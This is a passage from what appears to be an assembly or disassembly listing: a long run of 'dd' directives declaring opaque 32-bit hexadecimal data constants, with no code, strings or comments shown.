0A894FC05h, 22570182h, 0EEC14C3Fh dd 0D0017B03h, 4E071E39h, 80851820h, 0C2788966h, 0C9846F5Bh dd 0A21DA2AFh, 0E7DC5555h, 0AA544A74h, 0B04B673Dh, 8B8AFE4Bh dd 0FB2FCAC9h, 407DEEC0h, 6B83485h, 0D027D227h, 4E06B098h dd 7B40E157h, 1EFCF361h, 9D8EB12h, 7435758h, 5F067FEh dd 15AB52C4h, 1CC599Dh, 69FEBA1Eh, 0DD5E582Fh, 35207F94h dd 0B6812C8h, 0C1C5A831h, 37E753A5h, 9A509D60h, 5BD927B8h dd 852312DBh, 0AC6E5C51h, 48E9E092h, 0BC1EB144h, 0BECD9A38h dd 2824F502h, 0BD459E8h, 651089C8h, 2F6C5B29h, 1577A27Fh dd 2B60894h, 0B9B035Dh, 0C104CFF6h, 16FC08E2h, 9546F074h dd 574850D0h, 1EDC05D9h, 84BB1613h, 73B8A81Ah, 4016F15Ch dd 68165E0Eh, 10AC6AA1h, 8B0082A5h, 38244F47h, 723B0A0Bh dd 80A8D65Ah, 42599421h, 0E07EFD6Eh, 684B1E54h, 817B4DB1h dd 0F2D6380h, 0FE9D0952h, 0A10797F0h, 3E806635h, 8A7B13EBh dd 1E8E41B4h, 0D71B1328h, 13DE0AAh, 0F6A77291h, 0AA0FB420h dd 0DD550421h, 0D7308005h, 6AE73142h, 0FEE5040Bh, 367869FEh dd 837A9C41h, 838D7BFCh, 0EBEFD7FAh, 5686372Ch, 81F4B67Eh dd 0A82FFD68h, 60E82703h, 0BA52E101h, 0F120845h, 6A727B07h dd 812CD1E6h, 0FA55A08h, 5D027AD6h, 5F615968h, 0B70CB818h dd 56ED63C9h, 645EB05Ch, 3B5B4C01h, 204232A0h, 10097536h dd 8B900D15h, 0EC580E7Dh, 27F83C5Bh, 0A25EC863h, 81A1C34h dd 5A14051Ch, 6FB037E8h, 0C5F2A48h, 197847F0h, 38A72699h dd 0D76C011h, 75C6ABDh, 7E195808h, 7AE9D80Fh, 0FAA9F24Eh dd 2385CBCFh, 12BCD77h, 3A35D1DEh, 0E2845457h, 472900FFh dd 29328C86h, 0C6B8D665h, 0CC996BAh, 286C723Dh, 3C4EF148h dd 0FADF85F8h, 0B1FBD213h, 3BC5CD5Dh, 6C0A6E35h, 6ACB9BAh dd 8838AF24h, 3F174A2Ah, 0F84B0EBBh, 6382897Ch, 7858E29Ch dd 560CDE55h, 811EA8DEh, 2279CABFh, 0BF7B170h, 28644B6Bh dd 8235A80h, 42B559E3h, 0AF50D75Ch, 3EFCCF5h, 0B0442EC1h dd 0AC2A139Ah, 50AD27BDh, 36FF9723h, 8BA0259Eh, 2E8868D9h dd 597A2851h, 0A85ED05Fh, 0DDB7A201h, 0BBA0125Bh, 8B287D9Dh dd 7B6F82BDh, 0C35768F6h, 4BF01C2Eh, 0B1FF2F09h, 0E33B5E06h dd 809A8478h, 13ECAD13h, 69ABBE68h, 968F473h, 0F23AA29Dh dd 537D09BCh, 13E9C11Ch, 5FB7D93h, 3E527632h, 4FAE1FEh dd 42EF0108h, 6F25B478h, 168D21A4h, 0FA43083Fh, 5716D418h dd 6C6700BFh, 0CF8127F7h, 73281F82h, 0E92DD84Eh, 9DA6D864h dd 41A7BA75h, 0DA29A352h, 9668320Eh, 9F88420Bh, 0FDCC39F2h dd 0FED6612Ah, 13C99CC3h, 0E410BC89h, 0FC8EEC0Bh, 0DA0FC2A5h dd 1AAF4851h, 4E2D40DCh, 57E10F53h, 0A81CC101h, 52583408h dd 5D41802Ch, 0AB0BBA45h, 0F078B57Bh, 1F814A46h, 0FE5292A2h dd 5F8B9AB7h, 73513992h, 9CC2756Bh, 49DF795Fh, 54422359h dd 0F0CA7C5Bh, 9C5AB8E9h, 6485F4E2h, 3CAEA2CCh, 78C39254h dd 1E84C337h, 0D50844FBh, 0E037BA76h, 0F580DAE2h, 0FA45A119h dd 0C2877655h, 5BB09548h, 985ED9E9h, 7F8031AAh, 301C818Ch dd 63B753D8h, 167EA26Fh, 48A073B6h, 6F414CC6h, 44231155h dd 7197277Ah, 433CE9D2h, 0EB72984Bh, 0FEB1F3F3h, 8A54C61Fh dd 0E304913Bh, 4F1C6CF0h, 0B6AA6F80h, 899E166Fh, 0A1D313DEh dd 0B726753h, 66540368h, 41665DEBh, 546CEB4Fh, 8B866419h dd 0B8E1EBEBh, 2646D82Eh, 5797519Ah, 0E91A07BEh, 7E4E4DFFh dd 8273C7Eh, 484204D2h, 0C616E359h, 9270450h, 71BFF5D7h dd 67B67FF1h, 0BED86685h, 23033E31h, 6D72A48h, 0BF16106Bh dd 0A2C20BDBh, 0C0405CEEh, 171CEA1Fh, 0FE660B1Ah, 0C0065B1Ah dd 3442D282h, 0AA890635h, 0B66E6F3Dh, 2D7B572Dh, 6BB77C6Ch dd 0E9247BDAh, 0F7896D38h dd 81D8D4DAh, 0CF5A6CC2h, 15C86A42h, 9CBD17B0h, 9C91AAF2h dd 92A3FE9h, 16FF58CBh, 4D792528h, 0AFD92BBBh, 0F1C75266h dd 0B690F60h, 0FE52B238h, 0A4121F5Bh, 80A680A2h, 1BED595h dd 0B3311E9Dh, 0BC5CC514h, 384C80C5h, 4BE94DCCh, 0B92400E4h dd 98BCD12Fh, 524AB598h, 4EE28BBBh, 315AA7A6h, 0FA0868B2h dd 29A54B51h, 0BE907532h, 7897B6E9h, 0EB79B552h, 52725EC9h dd 9D05C1h, 0BF39C4BDh, 8F0300Bh, 5C89C195h, 65E8AF04h dd 5F8DAAB5h, 4B88DA20h, 2A938D11h, 740D4B22h, 0C6050718h dd 293F102Bh, 7A02DD0h, 3C498B5Ah, 84E9B04Dh, 0C842D0B4h dd 0B025539Eh, 0CD2F8040h, 0D4047D4Ch, 0CF35A881h, 0EECF1EB6h dd 65E6C496h, 8B3267D7h, 8ACF4BE9h, 2FCE6E5Ah, 353D132h dd 0F55AE610h, 5FA92FF9h, 0AD6C5813h, 9F8A164Fh, 25BBD1FEh dd 0CC01055Fh, 3AC67C51h, 40C7F82Bh, 0CA4FE908h, 0BAF3B516h dd 0BBC331C4h, 0C2E45CF8h, 19B24C03h, 367B225Fh, 32030968h dd 9FD2539Dh, 2F06F8D5h, 4EC95DEBh, 4807EAB9h, 1E9F965h dd 37FEE03h, 0C097EA1h, 2D13973Fh, 4C402F16h, 8905C4h dd 0F6814E50h, 6D6E45EFh, 0A309CEECh, 575DAB21h, 312DC4F2h dd 0A20AC6C8h, 4298DC76h, 59F5490Ah, 3F3FA8F1h, 0CE2CECB7h dd 5F54898Bh, 60D7C9B9h, 1ECBCF3Eh, 0AF487541h, 6CB05066h dd 683EC927h, 95625351h, 810734F5h, 85141098h, 0AA7A53ECh dd 0C1B4B3F2h, 9E63DEh, 958E188h, 0F986D7F6h, 0FE1CB4FCh dd 7524E9C9h, 5EF13720h, 0BDF4CA29h, 21D1925Eh, 5C03189Dh dd 72E7B2E1h, 5F7707C4h, 7B2156Bh, 979B7D5Eh, 3849BDFAh dd 72F37E7Ch, 91CF94Fh, 7699E95Fh, 701425E7h, 56806816h dd 2DB0E0F8h, 0D3273DB4h, 8270D837h, 5FA40207h, 0E28D4684h dd 0F8281D6Ch, 2127392Ch, 91E913A2h, 0A5B00DC8h, 1B8840BBh dd 0E2BE01A6h, 3A1F334Bh, 0DFFEB402h, 41FC41F4h, 9D404670h dd 2F566C61h, 24D20EFBh, 2239AA33h, 0F7F36552h, 6F58F590h dd 0D64FA52Fh, 5A08A0B4h, 0E068EE5Ah, 407BF3E9h, 1E33F1C7h dd 70974110h, 665020FEh, 584717B4h, 9FE67B3h, 5F4BF7CFh dd 0BA7FB0D5h, 490518B3h, 0A8AE434h, 0A9A28590h, 20AE4475h dd 665EB145h, 6C8FDFFCh, 0FA8BBFB7h, 26DF297Eh, 1A209488h dd 58645221h, 948DA3BFh, 4119165Ah, 32D819FCh, 0E1272803h dd 815AD822h, 0E82C5F07h, 59CE0473h, 0B365C3E9h, 772579A0h dd 7922448Eh, 0C3274A56h, 79515549h, 80138B92h, 0AFF582C3h dd 7F22CA91h, 12F67AD2h, 51FC6295h, 0DD326BAEh, 5CA8545Fh dd 89FEE917h, 12C13520h, 5C592D01h, 12082B28h, 8B31C05Eh dd 800F432h, 76E86D2Dh, 925DE98Eh, 0C7012D95h, 0EACB45ECh dd 0BD70F022h, 0FA08B1F8h, 264773Eh, 78E73050h, 75804943h dd 0E976CF92h, 0A3C98F4Ah, 0DFF5607Eh, 0B29421E9h, 754C5F27h dd 0CD3C6127h, 0ED4727FFh, 4FB0D7A7h, 0CA255F60h, 0A0A2FE11h dd 0B6594E08h, 0CD4B4B4Eh, 711C7DF8h, 0B52DF0BDh, 65E96A18h dd 0CF4955Bh, 4F021466h, 0DC068436h, 0C14AA27h, 0A83DD80Ah dd 0C5008A06h, 95075F3h, 0C15B1FDAh, 0FD562DE2h, 0C26851C0h dd 276DF807h, 39F6DCE9h, 2B464142h, 0F541B2D0h, 0C4278362h dd 652F1374h, 658D9C45h, 7D357E67h, 0EBA54AB8h, 0DB6A14CDh dd 94504D5Dh, 0F1862570h, 1D748098h, 0CD310AD4h, 442CC2C4h dd 6F257BF3h, 0D030F382h, 0AE459461h, 0E7BD23Eh, 0CBF780CFh dd 0BA5BF806h, 0F4D8283Fh, 0C7E9CBC4h, 0FB4B6BA8h, 23AEF7DDh dd 33E97087h, 0BF36515Eh, 68530B3Eh, 0A274385Ah, 2236AA62h dd 477F7ADDh, 2B6D8214h, 84C15760h, 23BB2008h, 1BE33D17h dd 174280FBh, 5461520Ah, 0D085BA1Ch, 9FA780FAh, 276C832Dh dd 0F498D131h, 7021B05h, 0C8295372h, 3207892Dh, 0D164D57Fh dd 1A560948h, 8254514Ah, 0D007ACBDh, 224BEC0Fh, 315802BCh dd 409325CCh, 78BDBA9Bh, 7C7E7C1Ch, 0BFA94AD6h, 404ADF4Fh dd 814524FEh, 0C0909CDh, 0D084260Fh, 5968005Fh, 0E8404B78h dd 54F6952Dh, 0AC1EBB3Ah, 0C8146F0Dh, 139B4CA9h, 30F23109h dd 5949BE02h, 0DE403A17h, 4D013C39h, 0E9CE2952h, 0AD5105A8h dd 14AD5BD9h, 0E2D5FD89h, 0E96B40DEh, 0FA5E5E15h, 9D0B3F38h dd 491867A0h, 9DB857AFh, 7F156160h, 69441369h, 83836031h dd 0ED96766h, 3C46D5E9h, 6B6A164h, 8B007E25h, 24465DEh dd 124E680Ah, 0D3DF32C9h, 0B8F42F40h, 503BE989h, 0A268132Dh dd 0BD69BB53h, 5B0DAB5Ch, 5422EAFCh, 3546C88Fh, 362F0667h dd 28C3897Fh, 9BAB040h, 16300476h, 370C0277h, 5D20A0D9h dd 0E85B5553h, 46DE2E87h, 0AAAB2C01h, 708B2F05h, 0BCFB96D5h dd 110026A5h, 50BF02C0h, 7166F420h, 423D0C91h, 0B53C51C5h dd 0C37196D3h, 1F1E74FBh, 8769838Ch, 0C4B4013Ah, 580804D4h dd 9F01B356h, 293BE00h, 31C10934h, 30606E6h, 0FD317046h dd 68052516h, 79A1C1ABh, 1BAC6E60h, 613A8BDEh, 0D8BE3EA3h dd 80F11DD5h, 401AE681h, 759574E9h, 2EF3B223h, 6DA79DBh dd 0D0D0D729h, 0D9860100h, 2C64B050h, 3941E4A7h, 0B0E707E9h dd 0D8DAE9F7h, 470EB909h, 25157050h, 7E463D68h, 424A6CF0h dd 466D4930h, 84614E9Fh, 2C59991Eh, 0F4515150h, 0FA3B6579h dd 0EF3024Ch, 99172E2Bh, 0EB101416h, 1D2842B6h, 0D95EDF6Eh dd 0DECB09EEh, 0EE751D62h, 49F1FAB8h, 0D00117F6h, 4D1FDA0Dh dd 49F02B3Ch, 48CF3C2Dh, 0C463C8AFh, 5205EAD8h, 0F72FA4B2h dd 35F945D2h, 0F8A1825Bh, 6805A645h, 65F36489h, 481A0079h dd 0E59C0543h, 0E4F2BCB7h, 0C10B68F3h, 4D367AF6h, 2CB66630h dd 0CC5CA30h, 0EB61C057h, 0A36CD20Fh, 764F6963h, 179C89FEh dd 0D123A825h, 89D121CBh, 5FFB353Ah, 448BDE59h, 0B76E7787h dd 4184F14Eh, 0B1F1B2ABh, 4936E4F2h, 9192184h, 43A70253h dd 6C5D809Dh, 0BD1F9034h, 61B5C260h, 229DC5Ch, 6195AC5h dd 9766700Ah, 0D0092174h, 0B19F137h, 0A49ADF98h, 146AF27Fh dd 41645868h, 695DA78Bh, 6B78B849h, 61900502h, 427F3432h dd 0DD070B1Dh, 0E5E0CE8Fh, 5B31770Ch, 0E1F3E927h, 6D215C2Bh dd 0B5A7887Fh, 0BE0164BEh, 8AD62B2h, 0E3F4D425h, 0A9F99D7Ah dd 57EF89C9h, 4C620F71h, 0D09C5726h, 0B5771495h, 6E5BCB91h dd 22FE27C4h, 3E5C6345h, 706EF982h, 9416D81Ch, 0FDB29631h dd 0B3F202CAh, 7D6D704Ch, 0E90476D1h, 32FF532Bh, 56E92E10h dd 0E15DF850h, 6A741FA0h, 0A5210E3Dh, 0D56A0BCFh, 64AA6994h dd 783EF05Fh, 48CD95EEh, 0FD9D8DAAh, 0E91C2B94h, 5D277B25h dd 0E92F31B6h, 0C8158BDAh, 0E1092A7Ah, 0A4D9B83Eh, 0C24C88B8h dd 5C262302h, 8204010Bh, 0EFEF13AEh, 0E2F9FB9Dh, 68CED03Fh dd 679B674Ch, 7A2B0C02h, 2515D04h, 0DF8EA689h, 6C9C78C4h dd 75E3394h, 10A614B9h, 75ECA60h, 115758E6h, 0B81B1275h dd 0BAB916A7h, 0E029BB82h, 95393854h, 0AB8C077Bh, 4E2914CAh dd 0D3CCF2D1h, 0AE325F1Ch, 6FE484E6h, 9724F088h, 755A3EF6h dd 0E9164314h, 29FE57C1h, 29BE2E7Ch, 2A41EAC9h, 30DA6563h dd 8382FCBCh, 0F04A2264h, 95FD891Eh, 0F12592D7h, 27E968EFh dd 0D14ABC85h, 0A01B8DE9h, 8940A35Eh, 8AD658F7h, 0FFB39B0Ah dd 3DCF09B0h, 68C3DCD9h, 0E6EC8D25h, 3367BC4h, 0C249E780h dd 42897D64h, 6353D1D7h, 0C901358Eh, 0C3134AEEh, 0C8295B30h dd 0B2378816h, 0E8898716h dd 5C812229h, 337C0B88h, 7C37FB01h, 37275F0Ch, 2EEAD94Eh dd 85FBC234h, 99D8BF19h, 39756442h, 0A66880EEh, 5F5C1344h dd 6B3004F0h, 30A04E6Ch, 0A5905A3Dh, 0DF2A878Ch, 68E24C7Fh dd 4B4C7FBAh, 0F582B0E6h, 0EF400D2h, 0EAA24F54h, 5E0F423Fh dd 3830635h, 3BD19B49h, 0CA1793CCh, 6C0B092Fh, 0F77D277h dd 0E701ADBh, 7AD8B78Bh, 7A605E9Fh, 5C560F5h, 0E92B09E4h dd 1AFA0D6Dh, 0A0C6014Fh, 2DFB790Ch, 985055CFh, 0EDFEC4B2h dd 0D52EC8A0h, 4815980h, 2D64A6F6h, 0FCD3C722h, 68270706h dd 5118FF49h, 0D99F1787h, 643F9D9Dh, 11A8C1F4h, 0AC6A20A2h dd 59BDA7A8h, 34B36A13h, 0F50700FFh, 0C730A25Dh, 0D34DBC90h dd 7F8217C7h, 3E500DB6h, 51BA8021h, 63560D2Eh, 69DFF201h dd 0EF2B1FC9h, 635AB645h, 0EDB7D9AFh, 0E850026Fh, 10D5896h dd 3A830EBCh, 0DDE9FA2Dh, 84C47E03h, 112C4E8h, 956A2D1h dd 0D65FA8E9h, 3CD3406Ah, 76954133h, 60A4895h, 0C697E6E9h dd 2BD53503h, 0AB2D5579h, 0D795AA9Fh, 55A58ADBh, 6C9D0D66h dd 0FA0EA082h, 12540023h, 563AE781h, 0C984015h, 0EBFDCA12h dd 9F84F0Bh, 25FCDE54h, 201516DFh, 5137C6Dh, 0BBBF9A0h dd 17C0D409h, 0A5B8E589h, 647F2F43h, 80AD3F02h, 1B03686Ah dd 39524DCDh, 2C30C2F1h, 0BD4C4B5Fh, 0D3C9D3E3h, 0BDCCBC2Fh dd 40725808h, 0A8BEBB33h, 38BD341h, 9576797h, 0D25DCBD6h dd 509D2581h, 0EBA0C2DBh, 0D1416C5Eh, 0C92BD9Dh, 3F4E9830h dd 291E6763h, 8EA14F2h, 9EDBB50h, 3536057Dh, 552D82F5h dd 60B80051h, 2F7DD825h, 9A13400Fh, 4669E57Bh, 0C4293ECDh dd 0B7677F1Ah, 751BC25Dh, 5B5F3A58h, 67E271FFh, 0CD7607E0h dd 8643E7Eh, 0E590998h, 8A136984h, 87FAE937h, 1C47D1A0h dd 32DFE458h, 43B83AC0h, 0BD079D4Bh, 0F701B254h, 293C09B1h dd 1D75B061h, 0D6ADE03Bh, 4790FA4Fh, 2A07F37h, 59CD0913h dd 0CA41DDF7h, 0A6002F45h, 0E9E45B80h, 0F49C4B6Bh, 0ED256752h dd 0CE36813Bh, 846B1E20h, 39BCEBC5h, 8456B24Bh, 30E81021h dd 2598ADA4h, 0C02742E8h, 8B124812h, 4684648h, 18B7332Fh dd 129D2FBh, 0EA813CF4h, 3C5F5619h, 877506Bh, 0EDF75E25h dd 4EE90B03h, 0F60E51D0h, 965166DDh, 57F51FBBh, 2D75C0EAh dd 0A10057C0h, 0BC354815h, 0A9116564h, 9DA4ED7h, 0E7F0DDF8h dd 0C4C1BF6Fh, 5F0B3AC0h, 87F16557h, 9735568h, 80727B75h dd 1413E981h, 0D0EA616Bh, 0F9A3C75Bh, 0E110DA26h, 29EF68E9h dd 2360072Ch, 0C2E614D2h, 0F5C42D78h, 97B3BEF7h, 0DE2F57DCh dd 5B54D0FFh, 420C5B9Dh, 0C2D66D6Eh, 0C767FB71h, 0F1F77162h dd 8B95F15Dh, 4B6EAE26h, 7C4BD7B0h, 3C02B961h, 0D826844h dd 1F8608A9h, 0BF8792C0h, 59DA5C38h, 2384D11Ah, 5E9C1478h dd 286806AFh, 0C2D10E3h, 7041765Bh, 3BF3C068h, 0E15067B6h dd 753A3C40h, 6794EBCAh, 0EF4B0DFCh, 0E7FEEB75h, 2CA9238h dd 9CE95209h, 20B0C261h, 0C0BFC311h, 4B61688Fh, 4D41EB74h dd 0F5EC8092h, 1422C8B7h, 28518751h, 0AD1A7F2Eh, 648140C1h dd 7445602Bh, 3D090CEEh, 0CE3A4B76h, 7A6816D8h, 4155FB00h dd 95314F39h, 0EB02577Eh, 57684411h, 0A64237DEh, 45D70BCBh dd 9DDA8BEh, 3DE1D3Ah, 0D35E5DCh, 0FEBE04EFh, 6086F543h dd 0FEBF05D0h, 3F3A8298h, 7CC02594h, 6B286EA2h, 0F0009E36h dd 29EF0975h, 0F7B0E9F9h, 0A86B0F65h, 0EE247AF7h, 87401CB3h dd 0B55ECF68h, 0C12F27C6h, 9EC4612h, 607C1783h, 68500D0Bh dd 4C765861h, 0D5F26F4Dh, 9CC502A7h, 0D9975A56h, 1C903D0Eh dd 53C4852h, 741940EDh, 6C7C8405h, 86AC4EC5h, 0B7785B78h dd 0E24A7B74h, 86BEBFC3h, 0EE293E03h, 8E909F2Eh, 1EE6E7B7h dd 0F9970E72h, 4E5DC957h, 0A187BF99h, 47684051h, 1788846h dd 0BC0BE59Ah, 84FE77B9h, 78E10264h, 92D2FD6Eh, 41B514B4h dd 6743412Fh, 6068007Eh, 0EBBB34h, 30757BB7h, 84164DBAh dd 28C7CF8Ah, 1C6BD8A9h, 0EDD0F797h, 1E261476h, 2236A9BFh dd 7937EC02h, 69F45D2Bh, 0D3AE5BC5h, 2350E8D4h, 501FB643h dd 0C1160A8Fh, 961DC80Fh, 273304AAh, 772DFF16h, 94AC8C14h dd 407DF54Fh, 72253583h, 90E97809h, 7D6D9221h, 35DA3FCBh dd 7558897Dh, 0E6633D79h, 0A21E5E44h, 418DE3D8h, 2FDC872Fh dd 0A9E9D638h, 443D7822h, 0CD019605h, 9208C810h, 7860178Dh dd 447A5E5Eh, 922FB9B8h, 0C0D5EFCAh, 2FB56B61h, 0EE54A069h dd 0B20BFB20h, 5011B861h, 8ED51F0h, 6CEC1C82h, 6842391Dh dd 97F1BEDDh, 0F97A927Dh, 0C607C9D3h, 17F499EFh, 7AE7F4C9h dd 0EF76E084h, 48ADC788h, 3A49306h, 0C9042286h, 0BE4CC02Ah dd 98B23520h, 3A55200Bh, 43E1BD06h, 1E41F9Dh, 3F154AF5h dd 52CD58E9h, 5E5FD2BDh, 28DACA4h, 0CC51B54h, 9C0B01D4h dd 2043F13Fh, 38AD0FAEh, 28C5536Eh, 41A91D2h, 271D2ABFh dd 6841C62Ch, 993E750Eh, 45A22ADDh, 0EF99AB96h, 9F513234h dd 0DCF2D554h, 70E9C162h, 0E02D9716h, 311B1118h, 685617D2h dd 0CD1E8DA5h, 0BFB3BDAh, 9C82DE91h, 5D0196C5h, 0CAE3CE09h dd 814E569Dh, 4C083BC8h, 0AEA7043h, 44825D1Dh, 3E06F380h dd 24C12B22h, 81CB08EBh, 31A6D2C3h, 0D0042BB2h, 5007592h dd 713620Ch, 720D69Ch, 0D916E92Ch, 4E043389h, 0A9739DF5h dd 969D8EA0h, 5F542482h, 1820000Ah, 685022C4h, 0E9027E25h dd 8100DFA3h, 0E3946EAh, 68538F83h, 0DBF8B7D1h, 6D2BCAC1h dd 0A0346C3Ah, 7E8C1h, 624FD235h, 7AFDE97Fh, 8485DBB5h dd 0ABC8B70Fh, 0EBD2F6E2h, 406A618Fh, 5283022Ch, 0D160466Ch dd 0EB74744Ch, 3B385D60h, 28DD80DEh, 41EEE889h, 22853E28h dd 15D84EEh, 6411B7BCh, 22233E4Fh, 0C9F702EAh, 72960BEEh dd 0A9242A56h, 81180E6Ch, 5533853h, 70EA267Dh, 342D17B6h dd 2A6CDA8Dh, 283837C7h, 0A5A6201Eh, 0B56ACCB5h, 470E157Bh dd 0A3EF1201h, 5771C605h, 7EB62420h, 0AC3612BAh, 664181BAh dd 983B72CFh, 0CA1C13Ah, 0B53205Ah, 14B50A07h, 0D499FBE9h dd 1F12524Ch, 2984EF5h, 4B6E02CDh, 2F5113E9h, 55F817BCh dd 6FF08F20h, 0F750165Ch, 847F09D6h, 57A909FDh, 0E6AC0C6Fh dd 3257D49h, 0BBE140F7h, 62BD3435h, 6805DABEh, 0CC442EDCh dd 0A0177F4Ch, 564B5A68h, 5CA80724h, 56BD8F14h, 0AE170884h dd 70749A29h, 3FAE410Eh, 281073A0h, 0FA7330h, 615C1EC2h dd 0E9EA012Dh, 6EE13CFEh, 0BA76FEDh, 2BAFB2C8h, 1E7A6B9Dh dd 0DE19B11Ch, 3F627A1h, 5D6B2542h, 79BF9B46h, 0FC2F6237h dd 0E581B077h, 0C6CE9D7Ch, 4052E91Ch, 2718DF2Dh, 0D9B5E768h dd 0BE8A0F4h, 3FA22636h, 0D22D3CFEh, 4B762024h, 0F1BA5D95h dd 0AA691A84h, 0D8923AFCh, 855AB151h, 20855CB2h, 0ED76EB34h dd 0B82D4F07h, 0A8E48610h, 63C1003Dh, 219D83F3h, 99BC59CEh dd 80D45515h, 606BBDBEh, 46714Dh, 2FC3B850h, 0C631337Dh dd 0FD25CA93h, 0E2F74789h, 67CB838Dh, 0B96C5D4Ah, 68B22DD3h dd 95009310h, 417DBB36h, 0F9825B68h, 564080F7h, 58215014h dd 2F735FE9h, 0A27AA15Ch, 8097B4F4h, 65CA35CBh, 2D4C7AA6h dd 3251682Eh, 5C820392h, 0FF99859h, 2C999A0h, 0ABB2D2F3h dd 0F29D8FDDh, 4E62E701h, 0B42055ECh, 30604E09h, 0B243DD8Ah dd 0E6813501h, 608B7DE3h, 0F7E6042Bh, 0C3BCEFDEh, 88634407h dd 13C66015h, 164FD46Fh dd 0E938FAB8h, 0AA39DE2Ch, 86CE208Eh, 0DB4984BDh, 4728E1A8h dd 493709C0h, 60FD3DA6h, 9AEB16B0h, 20019F85h, 270A6D68h dd 47F40540h, 0C9E55480h, 0E989906Eh, 0C6B60648h, 76407484h dd 413359C1h, 8A5A9223h, 43E91DA6h, 65068A7h, 0E20A5C36h dd 0D026E7Ch, 0BF2CECA5h, 0EB4A73B6h, 26AF5B24h, 0E62F2EBDh dd 0FECBA4E5h, 84BF894Eh, 0FA1C7721h, 0D9052D64h, 84CCE29Bh dd 0C4556050h, 49A27181h, 0C42BBD05h, 0B0BFA9EEh, 0C541160Dh dd 0D8C315CBh, 0B037252h, 43840FC9h, 659D24C6h, 0A7E91DA3h dd 7B5E22EAh, 847CDE2Fh, 0FC734868h, 62E3C466h, 65F4E741h dd 0EF6D3098h, 0C185502h, 55F831F2h, 9AF14B42h, 53D93605h dd 0C1BDD9FBh, 3C35235Ch, 6AD38452h, 80FF32FCh, 543BBA2h dd 0D2F70F18h, 26390D10h, 5A30A48h, 44B5C31h, 0E25AD6FAh dd 9B590DBh, 2B154C3h, 7CF0D2A6h, 0C2E9D04Fh, 0ADFA61B5h dd 5091603Fh, 15392273h, 85333D2Dh, 5D0296Dh, 0C15A070Eh dd 126F7465h, 842DD8F4h, 105C6813h, 2604C9CDh, 1A1AA182h dd 515DBA82h, 0F00810Ah, 0D73C87Dh, 4B44E448h, 6B08B13Ch dd 0EA0F7F8Ah, 0F7A98A87h, 0D72D4954h, 5E50CB2Bh, 0FDB3515Fh dd 2E38EAD3h, 2FA341DBh, 0A040DA9h, 0ABD21A09h, 0EF0252ECh dd 66F63577h, 8A0E0DEh, 42997EC6h, 0FDBF1E40h, 0AB2A5624h dd 5A5F12C2h, 1A9A21Bh, 6657E90Fh, 0F8DF742Eh, 43F9A13Ah dd 0F2BED78Eh, 0BE6BFD07h, 14F74AE9h, 601FF8C1h, 0CFBD546Dh dd 0C7A7236h, 5F8BD459h, 4039F781h, 481E430h, 7C552DF2h dd 0C22CFA2Ah, 107B26A3h, 0E8DA12C7h, 4639B1D8h, 6A656801h dd 0E80DF762h, 69428FF3h, 72553D38h, 895D167Ah, 6464F5h dd 0C131028Bh, 0D116F74Ch, 4EE0BBE9h, 9A1BEC53h, 47719547h dd 951F3CC6h, 0D2BDD772h, 98595034h, 0C13B126Fh, 0DEF60172h dd 603CA85Fh, 0F9900685h, 71ABE15Fh, 8C054A3Fh, 0EB3772D7h dd 0F3C04ECFh, 150A1ACAh, 495E821Ah, 0CB810025h, 18FA688Eh dd 0B789BDh, 1EA4F088h, 97B9BA55h, 191711F4h, 508FA0EDh dd 2C60314Bh, 0B53BF68h, 0BBB305C4h, 5332D830h, 4E8350EEh dd 0B109EC54h, 1B656362h, 5AB0FD3Bh, 7C05E8D7h, 4CBFF2BFh dd 0B5272099h, 63F2215Ah, 87C6E16h, 2AB104BFh, 0D5D71D72h dd 27088AABh, 800601F4h, 0C5CC4AEDh, 0DD2837B6h, 0CC3D5810h dd 0F74434D2h, 7BBC9C80h, 0F3104093h, 0D28D1E05h, 0D6B3FA09h dd 5BEA85Bh, 80A0A144h, 0E4C59ECh, 0BE301E12h, 0A1E8CBCDh dd 0B814C026h, 7569652Eh, 9A092A90h, 0E616E73Ch, 5932CBEAh dd 8106F748h, 3734C90Bh, 40F20F8Ah, 0DDF3BA71h, 9BC85C01h dd 1502E812h, 14BABA1h, 58508D8Bh, 0ED0A301Bh, 0D13207A2h dd 3AA9B480h, 0DCBD3032h, 2E607068h, 0C1457782h, 0A7025C65h dd 7D8FE91Ch, 5568B618h, 21821116h, 16CC0BE0h, 0FB641C5Ch dd 0C7312021h, 0F9684960h, 0FF04CCAh, 66C870AAh, 682F70F2h dd 0A5C94164h, 70EB6AAEh, 7A250BC4h, 0A5DA2977h, 0E4DF0982h dd 27ED200Eh, 86C24095h, 8F209E4Ch, 73C47FEBh, 0FD8D8044h dd 82EF7B06h, 890A8C18h, 1470FF7Dh, 1C450883h, 20AFFA14h dd 0FA110E80h, 7127E948h, 0BE2E4549h, 0B223B692h, 76FC0793h dd 8AC27227h, 0DE824925h, 0BC3601DCh, 95A8551h, 32DBC2F1h dd 0D8F7FF50h, 4490C68h, 2757857Ah, 16A97FA4h, 0C168873Ch dd 6FC197B3h, 484C26CEh, 55B6BF02h, 50D50A52h, 0A9CF0149h dd 0F77ED547h, 516130DFh, 9D40BD04h, 8899F989h, 5B2C8D24h dd 1BACC25h, 0FD319C81h, 6D89D79Eh, 0CBCE7674h, 0C1420758h dd 88A4744Bh, 5D264105h, 25CBD108h, 0C7AAB0DFh, 6F47B4BBh dd 0F9177926h, 9925459Fh, 2E37784Fh, 403D04E0h, 0F5A2C77h dd 18C93AF2h, 9ED851F5h, 88048453h, 0D3E9C2DAh, 67C2FC5Fh dd 8E7DF6E9h, 4E5B11BEh, 0AC70EC80h, 24A9AC5Ch, 0AC75ADE9h dd 65802B0h, 5574316Dh, 0C43E60Bh, 4BF0C71h, 0E97F446Ch dd 0A15DAF4Eh, 0C52C3A82h, 30557EF3h, 831AC842h, 0B64ED390h dd 6F5B89ABh, 68F0AAF2h, 0C69D6395h, 3062016h, 5FFE2B0h dd 0F4D5C2AAh, 0FE69667Dh, 0F1D35D96h, 1C772A0Fh, 0D7F79782h dd 0FA2D4650h, 0D71F3AFDh, 48614212h, 853E64F6h, 5F8B7045h dd 0CE807FBFh, 5CE7E90Dh, 4E82F896h, 7FD61DD5h, 0BA013284h dd 39F4BD21h, 6EF39150h, 58892D55h, 0C69F615Eh, 1774EAFh dd 8A60D4B8h, 70440106h, 5F26E997h, 90AFF1DAh, 0D623B0A1h dd 7901AB14h, 44485FFBh, 63DCAB14h, 0EA7B4B68h, 587CA230h dd 0F765048Eh, 0BFF1E9D6h, 4FF36F16h, 0ECC1317Bh, 0DC8DB116h dd 0F5A43437h, 2C40191Ch, 837D72E5h, 0E20C4F08h, 73C01B26h dd 1DD8D833h, 84AF5EE8h, 2E80B5CBh, 8628E1A1h, 7D3CEE4Fh dd 4349408Ah, 1AB024B8h, 1E02289Ah, 